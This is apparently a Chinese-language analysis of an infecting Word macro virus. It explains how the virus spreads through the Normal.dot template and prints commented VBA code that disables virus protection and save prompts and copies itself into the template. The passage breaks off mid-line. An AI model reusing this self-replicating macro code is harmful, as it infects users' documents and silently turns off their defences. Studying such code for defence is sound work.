一、原理
Word文件的生成是通过模板来创建。一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot);感染型宏病毒通过修改缺省的公用模板中的宏代码,在用户使用word系统并用到缺省的公用模板时,这段宏代码就随着进入到新的文档中。
二、示例分析
宏代码+注释如下:
'APMP
'KILL
Private Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False '不显示状态栏,防止显示宏的运行状态
Options.VirusProtection = False '关闭病毒保护功能
Options.SaveNormalPrompt = False '如果公用模板被修改,不显示提示窗口,直接保存
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) '
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule '待修改的公用模板
If ThisDocument = NormalTemplate Then _ '如果打开的是公用模板
Set Host = ActiveDocume